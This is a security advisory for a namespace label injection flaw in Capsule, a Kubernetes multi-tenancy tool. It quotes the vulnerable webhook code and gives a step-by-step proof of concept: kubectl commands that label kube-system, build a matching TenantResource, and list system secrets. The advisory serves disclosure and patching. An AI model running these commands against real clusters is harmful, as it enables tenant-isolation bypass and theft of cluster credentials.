GHSA-fcpm-6mxq-m5vv Capsule tenant owners with "patch namespace" permission can hijack system namespaces label

• Go github.com/projectcapsule/capsule: < 0.10.4 → fixed in 0.10.4

Summary A namespace label injection vulnerability in Capsule v0.10.3 allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce. Details The vulnerability exists in the namespace validation webhook logic located in `pkg/webhook/namespace/validation/patch.go:60-77`. The critical flaw is in the conditional check that only validates tenant ownership when a namespace already has a tenant label: ```go if label, ok := ns.Labels[ln]; ok { // Only checks permissions when namespace has tenant label if !utils.IsTenantOwner(tnt.Spec.Owners, req.UserInfo) { response := admission.Denied(e) return &response } } return nil // Critical issue: allows operation if no tenant label exists ``` Root Cause Analysis: 1. Missing Default Protection: System namespaces (kube-system, default, capsule-system) do not have the `capsule.clastix.io/tenant` label by default 2. Bypass Logic: The webhook only enforces tenant ownership validation when the target namespace already belongs to a tenant 3. Unrestricted Label Injection: Authenticated users can inject arbitrary labels into unprotected namespaces Attack Vector Path: ``` Label Injection (user-controlled) → Namespace Selector (system matching) → TenantResource/Quota Check (authorization bypass) → Cross-tenant Resource Access ``` This mirrors the CVE-2024-39690 attack pattern but uses label injection instead of ownerReference manipulation: • CVE-2024-39690: `ownerReference(user-controlled) → tenant.Status.Namespaces(system state) → quota/permission check(auth policy) → namespace hijacking` • This vulnerability: `Label injection(user-controlled) → Namespace selector(system matching) → TenantResource/Quota check(auth policy) → cross-tenant resource access` PoC Prerequisites: • Minikube cluster with Capsule v0.10.3 installed • Authenticated tenant user with basic RBAC permissions Step 1: Environment Setup ```bash Install Minikube and Capsule minikube start helm repo add projectcapsule https://projectcapsule.github.io/charts helm install capsule projectcapsule/capsule -n capsule-system --create-namespace Create tenant and user kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: tenant1 spec: owners: • name: alice kind: User EOF Create user certificate and kubeconfig (using provided script) ./create-user-minikube.sh alice tenant1 ``` Step 2: Label Injection Attack ```bash Switch to attacker context export KUBECONFIG=alice-tenant1.kubeconfig Inject malicious labels into system namespaces kubectl patch namespace kube-system --type='json' -p='[ { "op": "add", "path": "/metadata/labels/malicious-label", "value": "attack-value" } ]' Verify injection success kubectl get namespace kube-system --show-labels ``` Step 3: Exploitation via TenantResource ```bash Create attacker-controlled namespace kubectl create namespace alice-attack Create malicious TenantResource targeting injected labels cat <<EOF | kubectl apply -f - apiVersion: capsule.clastix.io/v1beta2 kind: TenantResource metadata: name: malicious-resource namespace: alice-attack spec: resyncPeriod: 60s resources: • namespaceSelector: matchLabels: malicious-label: "attack-value" EOF Verify cross-tenant access kubectl get tenantresource -n alice-attack malicious-resource -o yaml ``` Step 4: Verification of Impact ```bash Check if system namespace resources are now accessible export KUBECONFIG=~/.kube/config kubectl get namespaces -l "malicious-label=attack-value" Output shows: kube-system (and potentially other injected namespaces) Check for potential resource replication/access kubectl get all -n kube-system kubectl get secrets -n kube-system kubectl get configmaps -n kube-system ``` Automated Testing Script: A complete vulnerability verification script is available that tests: • Label injection into multiple system namespaces • TenantResource exploitation • Cross-tenant resource access verification • Impact assessment and cleanup Impact Vulnerability Type: Authorization Bypass / Privilege Escalation Who is Impacted: • Multi-tenant Kubernetes clusters using Capsule v0.10.3 and potentially earlier versions • Organizations relying on Capsule for tenant isolation and resource governance • Cloud service providers offering Kubernetes-as-a-Service with Capsule-based multi-tenancy Security Impact: 1. Multi-tenant Isolation Bypass: Attackers can access resources from other tenants or system namespaces 2. Privilege Escalation: Tenant users can gain access to cluster-wide resources and sensitive system components 3. Data Exfiltration: Potential access to secrets, configmaps, and other sensitive data in system namespaces 4. Resource Quota Bypass: Ability to consume resources outside assigned tenant boundaries 5. Policy Circumvention: Bypass network policies, security policies, and other tenant-level restrictions Real-world Exploitation Scenarios: • Access to kube-system secrets containing cluster certificates and service account tokens • Modification or replication of critical system configurations • Cross-tenant data access in shared clusters • Potential cluster-wide compromise through system namespace access Severity: High - This vulnerability fundamentally breaks the multi-tenant security model that Capsule is designed to provide, allowing authenticated users to escape their tenant boundaries and access system-level resources.